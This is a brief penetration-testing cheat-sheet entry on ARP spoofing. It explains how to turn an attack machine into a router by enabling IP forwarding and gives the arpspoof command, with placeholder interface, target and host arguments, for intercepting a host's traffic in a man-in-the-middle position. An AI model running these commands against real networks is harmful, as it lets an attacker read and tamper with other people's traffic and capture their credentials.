Use arpspoof (Adress Resolution Protocol) to intercept traffic from and to a certain host. This requires IP forwarding, turning the attack machine into a router.
Command Reference:
Target: The target
Host: Pretend to be this host
Interface: The Interface to listen on
Command:
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i <interface> -t <target> -r <host>